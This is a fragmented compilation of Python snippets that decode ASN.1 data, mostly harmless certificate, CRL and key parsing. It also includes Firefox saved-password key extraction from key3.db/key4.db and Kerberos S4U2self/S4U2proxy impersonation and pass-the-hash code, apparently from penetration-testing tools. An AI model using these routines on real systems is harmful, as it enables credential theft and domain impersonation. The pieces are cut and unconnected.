encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError( errorString='Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def extractSecretKey(self, masterPassword, keyData): # 3DES # see http://www.drh-consultancy.demon.co.uk/key3.html pwdCheck = keyData[b'password-check'] entrySaltLen = pwdCheck[1] entrySalt = pwdCheck[3:3 + entrySaltLen] encryptedPasswd = pwdCheck[-16:] globalSalt = keyData[b'global-salt'] cleartextData = self.decryptMoz3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) if cleartextData != b'password-check\x02\x02': print( 'password check error, Master Password is certainly used, please provide it with -p option' ) sys.exit() if CKA_ID not in keyData: return None privKeyEntry = keyData[CKA_ID] saltLen = privKeyEntry[1] nameLen = privKeyEntry[2] # print 'saltLen=%d nameLen=%d' % (saltLen, nameLen) privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) data = privKeyEntry[3 + saltLen + nameLen:] self.printASN1(data, len(data), 0) # see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt ''' SEQUENCE { SEQUENCE { OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 pbeWithSha1AndTripleDES-CBC SEQUENCE { OCTETSTRING entrySalt INTEGER 01 } } OCTETSTRING privKeyData } ''' entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decryptMoz3DES(globalSalt, masterPassword, entrySalt, privKeyData) print('decrypting privKeyData') self.printASN1(privKey, len(privKey), 0) ''' SEQUENCE { INTEGER 00 SEQUENCE { OBJECTIDENTIFIER 1.2.840.113549.1.1.1 pkcs-1 NULL 0 } OCTETSTRING prKey seq } ''' privKeyASN1 = decoder.decode(privKey) prKey = privKeyASN1[0][2].asOctets() print('decoding %s' % hexlify(prKey)) self.printASN1(prKey, len(prKey), 0) ''' SEQUENCE { INTEGER 00 INTEGER 00f8000000000000000000000000000001 INTEGER 00 INTEGER 3DES_private_key INTEGER 00 INTEGER 00 INTEGER 00 INTEGER 00 INTEGER 15 } ''' prKeyASN1 = decoder.decode(prKey) id = prKeyASN1[0][1] key = long_to_bytes(prKeyASN1[0][3]) return key
# plain text, then build substrate from it # from pyasn1.codec.der import decoder, encoder from pyasn1_modules import rfc5652, rfc6402, pem import sys if len(sys.argv) != 1: print("""Usage: $ cat cmc_request.pem | %s""" % (sys.argv[0], )) sys.exit(-1) reqCnt = 0 substrate = pem.readBase64FromFile(sys.stdin) _, rest = decoder.decode(substrate, asn1Spec=rfc5652.ContentInfo()) assert not rest next_layer = rfc5652.id_ct_contentInfo data = substrate while next_layer: if next_layer == rfc5652.id_ct_contentInfo: layer, rest = decoder.decode(data, asn1Spec=rfc5652.ContentInfo()) assert encoder.encode(layer) == data, 'wrapper recode fails' assert not rest print(" * New layer (wrapper):") print(layer.prettyPrint()) next_layer = layer['contentType'] data = layer['content']
def get_key(self, profile, master_password=''): """ Get main key used to encrypt all data (user / password). Depending on the Firefox version, could be stored in key3.db or key4.db file. """ key = None try: conn = sqlite3.connect(os.path.join( profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() # First check password c.execute( "SELECT item1,item2 FROM metadata WHERE id = 'password';") row = c.next() (globalSalt, master_password, entrySalt) = self.manage_masterpassword(master_password='', key_data=row) if globalSalt: # Decrypt 3DES key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") a11, a102 = c.next() # a11 : CKA_VALUE # a102 : f8000000000000000000000000000001, CKA_ID self.printASN1(a11, len(a11), 0) """ SEQUENCE { SEQUENCE { OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 SEQUENCE { OCTETSTRING entry_salt_for_3des_key INTEGER 01 } } OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) } """ decodedA11 = decoder.decode(a11) entrySalt = decodedA11[0][0][1][0].asOctets() cipherT = decodedA11[0][1].asOctets() key = self.decrypt3DES(globalSalt, master_password, entrySalt, cipherT) if key: yield key[:24] except: pass try: key_data = self.readBsddb(os.path.join(profile, 'key3.db')) # Check masterpassword (globalSalt, master_password, entrySalt) = self.manage_masterpassword(master_password='', key_data=key_data, new_version=False) if globalSalt: key = self.extractSecretKey(key_data=key_data, globalSalt=globalSalt, master_password=master_password, entrySalt=entrySalt) if key: yield key[:24] except: pass
def getIssuersFromAIA(cert): tbs = cert.getComponentByName('tbsCertificate') extensions = tbs.getComponentByName('extensions') or [] allIssuers = [] for extension in extensions: oid = extension.getComponentByName('extnID') if oid != id_pe_authorityInfoAccess: continue print extension.prettyPrint() value, rest = decoder.decode(extension.getComponentByName('extnValue'), asn1Spec=univ.OctetString()) assert rest == "" aia, rest = decoder.decode(value, asn1Spec=AuthorityInfoAccessSyntax()) assert rest == "" print aia.prettyPrint() for ad in aia: oid = ad.getComponentByName('accessMethod') if oid != id_ad_caIssuers: continue print ad.prettyPrint() loc = ad.getComponentByName('accessLocation').\ getComponentByName('uniformResourceIdentifier') print type(loc), loc certHandle = urlopen(str(loc)) # RFC 5280 says this should either be 'application/pkix-cert' or # 'application/pkcs7-mime' (in which case the result should be a # "certs-only" PCKS#7 response, as specified in RFC 2797). Of # course, we see other values, so just try both formats. print certHandle.info().gettype() issuer = certHandle.read() # Have we got an (incorrect, but let's fix it) PEM encoded cert? if issuer.startswith('-----'): try: (issuer, _) = from_pem(issuer, ['CERTIFICATE']) except PemError as e: print "PEM decode failed:", e print "For cert:", issuer # Is it a certificate? try: cert, rest = decoder.decode(issuer, asn1Spec=certType) assert rest == "" allIssuers.append(cert) continue except PyAsn1Error as e: # On failure, try the next thing print "Cert decode failed:", e pass # If not, it had better be PKCS#7 "certs-only" try: pkcs7, rest = decoder.decode(issuer, asn1Spec=rfc2315.ContentInfo()) assert rest == "" assert pkcs7.getComponentByName( 'contentType') == rfc2315.signedData signedData = decoder.decode( pkcs7.getComponentByName('content'), asn1Spec=rfc2315.SignedData()) except PyAsn1Error as e: # Give up print "PKCS#7 decode also failed:", e print "Skipping issuer URL:", loc continue for signedDatum in signedData: # FIXME: why does this happen? Example is at # http://crt.usertrust.com/AddTrustExternalCARoot.p7c. if signedDatum == '': print "** Skipping strange Any('') in PKCS7 **" continue certs = signedDatum.getComponentByName('certificates') for c in certs: cert = c.getComponentByName('certificate') allIssuers.append(cert) return allIssuers
def from_signer(self, sig): seq, _ = decoder.decode(sig) self.r = MPI(seq[0]) self.s = MPI(seq[1])
def getSerialNumber(self): return decoder.decode(self.serialNumber)[0]
def cargarPubKDer(self, datos): from pyasn1.codec.der import decoder (priv, _) = decoder.decode(datos) return priv
if data=="NR": print(testdc+" timed out") else: # Ignore first 2 Bytes - OpCode # Ignore next 4 Bytes - Flags # Ignore next 16 Bytes - Guid # Until 00 or 18 read into Domain - if 18 it = Forest # until 00 or 18 read into hostname - if 18 append forest to domain # until 00 read into NetBIOSDomain # unitl 00 read into NetBiOSHostname # Until 00 read into username # until 00 read into ServerSiteName # until 40 read into ClientSiteName # 4 bytes Version Flags # 8 bytes to end x=decode(data,asn1Spec=ldap.LDAPMessage()) z=x[0]['protocolOp']['searchResEntry']['attributes'][0]['vals'][0]._value flag="forest" forest="" domain="" hostname="" NetBIOSDomain="" NetBIOSHostname="" username="" ServerSiteName="" ClientSiteName="" for i in range (25,len(z)-1): if flag=="forest": c=unpack_from('c',z,i)[0].decode('ascii') if c=="\x03": forest=forest+"."
def __init__(self, type_id, value): super(UPN, self).__init__(type_id, value) self.name = unicode( decoder.decode(value, asn1Spec=char.UTF8String())[0])
def decode_timestamp_response(response): tsr, substrate = decoder.decode(response, asn1Spec=rfc3161ng.TimeStampResp()) if substrate: raise ValueError('Extra data returned') return tsr
# FIXME: SIZE not encoded. componentType = AccessDescription() id_ad_caIssuers = univ.ObjectIdentifier('1.3.6.1.5.5.7.48.2') # End of RFC 5280 4.2.2.1 certCnt = 0 while 1: idx, substrate = pem.readPemBlocksFromFile(sys.stdin, (cStart, cEnd)) if not substrate: break cert, rest = decoder.decode(substrate, asn1Spec=certType) if rest: substrate = substrate[:-len(rest)] print cert.prettyPrint() tbs = cert.getComponentByName('tbsCertificate') extensions = tbs.getComponentByName('extensions') or [] for extension in extensions: oid = extension.getComponentByName('extnID') if oid != id_pe_authorityInfoAccess: continue print extension.prettyPrint()
from pyasn1_modules import pem from pyasn1_modules import rfc2459 if len(sys.argv) != 1: print("""Usage: $ cat crl.pem | %s""" % sys.argv[0]) sys.exit(-1) asn1Spec = rfc2459.CertificateList() cnt = 0 while True: idx, substrate = pem.readPemBlocksFromFile( sys.stdin, ('-----BEGIN X509 CRL-----', '-----END X509 CRL-----')) if not substrate: break key, rest = decoder.decode(substrate, asn1Spec=asn1Spec) if rest: substrate = substrate[:-len(rest)] print(key.prettyPrint()) assert encoder.encode(key) == substrate, 'pkcs8 recode fails' cnt += 1 print('*** %s CRL(s) re/serialized' % cnt)
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal( self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack( '<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += b(self.__options.impersonate) + b( self.__domain) + b'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int( constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print(paForUserEnc.prettyPrint()) encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal( self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int( cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) logging.info('\tRequesting S4U2self') message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags( (constants.PAPacOptions.resource_based_constrained_delegation. value, )) tgsReq['padata'][1] = noValue tgsReq['padata'][1][ 'padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal( self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket, )) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype))) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def _GetV3ExtensionFieldsFromSequence(self, seq): """Get X509 V3 extension fields from a sequence. Args: seq: pyasn1.type.univ.Sequence Returns: dict containing these keys if present in input sequence = { 'key_usage': tuple of X509V3_KEY_USAGE_BIT_FIELDS items, 'may_act_as_ca': bool, 'subject_alt_name': str, } Raises: CertificateParseError: the certificate isn't constructed as expected way and cannot be parsed CertificateValueError: error in a value in the certificate """ output = {} cert_key_usage = [] for i in xrange(len(seq)): oid, values = seq[i][0], seq[i][1:] if oid == OID_X509V3_BASIC_CONSTRAINTS: # NOTE(user): # this doesn't seem to be formed the way the RFC describes. # there's a dangling extra boolean in the beginning of the # sequence, or I'm not understanding the RFC. also, the # sequence itself is not readily available, rather it's DER-encoded # in an OctetString. # # consider the following real-world examples I've sampled: # # where basicConstraint CA:TRUE CASE 1 # generated by openssl -req: # ( OID, # OctetString ( # encapsulated Sequence( Boolean True ) # ) # # where basicConstraint CA:FALSE CASE 2 # generated by puppet: # ( OID, # CA = True, OctetString ( # encapsulated Sequence ( empty ) # ) # # where basicConstraint CA:TRUE CASE 3 # CA cert generated by puppet: # ( # OID, # CA = True, OctetString ( # encapsulated Sequence ( Boolean = True ) # ) octet_strings = self._FindOctetStrings(values) if 1 < len(values) > 2: raise CertificateParseError('X509V3 Multiple CA/Paths') encaps_seq = der_decoder.decode(octet_strings[0]) if len(encaps_seq): # not case 2? if len(encaps_seq[1]): raise CertificateParseError( 'X509V3 pathLenConstraint unsupported') # NOTE(user): The RFC and real world seem to agree here. # The lack of a value, not the existence of a False value, # is how one determines that the cert is not a CA cert. # So just look for True to confirm. if True in encaps_seq[0]: # case 1, 3 output['may_act_as_ca'] = True elif oid == OID_X509V3_KEY_USAGE: octet_strings = self._FindOctetStrings(values) # NOTE(user): # unbelievably this is a BitString inside of a OctetString. # quick sanity check to look for ASN1 type field: if octet_strings[0][0] != '\x03': # ASN1 type for BitString raise CertificateParseError('X509V3 Key Usage encoding') encaps_bitstr = der_decoder.decode(octet_strings[0])[0] n = 0 while n < len(encaps_bitstr): if encaps_bitstr[n]: cert_key_usage.append(X509V3_KEY_USAGE_BIT_FIELDS[n]) n += 1 elif oid == OID_X509V3_SUBJECT_ALT_NAME: octet_strings = self._FindOctetStrings(values) # NOTE(user): this is a Sequence inside an OctetString # However this field is not used a lot at Google or externally # so it is not well tested. # # It is suspected that this code is brittle at the point of calling # the DER decoder. The structure looks like this, ASN1-parsed: # # 0 52: SEQUENCE { # 2 23: [2] 'puppethosta.example.com' # 27 6: [2] 'puppet' # 35 17: [2] 'pupha.example.com' # : } # # The [2] is the tag number which is an integer, which causes # decoding to fail because the values are strings. # # Special code will be required to handle this field properly. if octet_strings[0][0] != '\x30': # ASN1 type for Sequence raise CertificateParseError('X509V3 Subject Alt Name encoding') encaps_seq = der_decoder.decode(octet_strings[0])[0] if not encaps_seq: continue if encaps_seq[0] == OID_MS_NT_PRINCIPAL_NAME: # NOTE(user): the following name X_MS_*= is not a # standard string. output['subject_alt_name'] = ( 'X_MS_NT_Principal_Name=%s' % encaps_seq[1]) else: raise CertificateParseError( 'X509V3 SubjectAltName Unknown OID %s' % str(encaps_seq[0])) cert_key_usage = tuple(cert_key_usage) if cert_key_usage: output['key_usage'] = cert_key_usage return output
def _load_pkcs1_der(cls, keyfile): from pyasn1.codec.der import decoder priv, _ = decoder.decode(keyfile) as_ints = tuple((int(x) for x in priv)) return cls(*as_ints)
ret += ']' return ret certs = {} inChain = [] certfile = open(sys.argv[1]) while 1: idx, substrate = pem.readPemBlocksFromFile(certfile, (cStart, cEnd)) if not substrate: break cert, rest = decoder.decode(substrate, asn1Spec=certType) assert rest == "" tbs = cert.getComponentByName('tbsCertificate') subjectDN = tbs.getComponentByName('subject') print DNToString(subjectDN) certs[DNToString(subjectDN)] = cert inChain.append(cert) #for subject, cert in certs.iteritems(): # print subject # Assume the first cert in the chain is the final cert outChain = [inChain[0]]
def decode_login_data(data): asn1data = decoder.decode( b64decode(data)) # First base64 decoding, then ASN1DERdecode # For login and password, keep :(key_id, iv, ciphertext) return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets( ), asn1data[0][2].asOctets()
def decodeResponseValue(self, value): respValue, _ = decoder.decode(value, asn1Spec=self.RefreshResponseValue()) self.responseTtl = int(respValue.getComponentByName('responseTtl')) return self.responseTtl
def get_key(self, profile): """ Get main key used to encrypt all data (user / password). Depending on the Firefox version, could be stored in key3.db or key4.db file. """ try: row = None # Remove error when file is empty with open(os.path.join(profile, 'key4.db'), 'rb') as f: content = f.read() if content: conn = sqlite3.connect( os.path.join(profile, 'key4.db') ) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() # First check password c.execute( "SELECT item1,item2 FROM metadata WHERE id = 'password';") try: row = c.next() # Python 2 except Exception: row = next(c) # Python 3 except Exception: self.debug(traceback.format_exc()) else: if row: (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', key_data=row) if global_salt: # Decrypt 3DES key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") for row in c: if row[0]: break a11 = row[0] # CKA_VALUE a102 = row[1] # f8000000000000000000000000000001, CKA_ID # self.print_asn1(a11, len(a11), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_3des_key # INTEGER 01 # } # } # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) # } decoded_a11 = decoder.decode(a11) entry_salt = decoded_a11[0][0][1][0].asOctets() cipher_t = decoded_a11[0][1].asOctets() key = self.decrypt_3des(global_salt, master_password, entry_salt, cipher_t) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] try: key_data = self.read_bsddb(os.path.join(profile, 'key3.db')) # Check masterpassword (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password='', key_data=key_data, new_version=False) if global_salt: key = self.extract_secret_key(key_data=key_data, global_salt=global_salt, master_password=master_password, entry_salt=entry_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] except Exception: self.debug(traceback.format_exc())
def dump(self, addr): # Try all requested protocols until one works. userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash.decode('hex'), self.__nthash.decode('hex')) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print authenticator.prettyPrint() print ('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print paForUserEnc.prettyPrint() encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.renewable_ok.value ) opts.append( constants.KDCOptions.canonicalize.value ) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print tgsReq.prettyPrint() message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print tgs.prettyPrint() cipherText = tgs['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] # Pass the hash/aes key :P if self.__nthash != '': key = Key(newCipher.enctype, self.__nthash.decode('hex')) else: if newCipher.enctype == Enctype.RC4: key = newCipher.string_to_key(password, '', None) else: key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None) try: # If is was plain U2U, this is the key plainText = newCipher.decrypt(key, 2, str(cipherText)) except: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, str(cipherText)) self.printPac(plainText)
def _asn1_decode(data, asn1Spec): if isinstance(data, str) or isinstance(data, bytes): data, substrate = decoder.decode(data, asn1Spec=asn1Spec) if substrate != b'': raise KerberosException("asn1 encoding invalid") return data
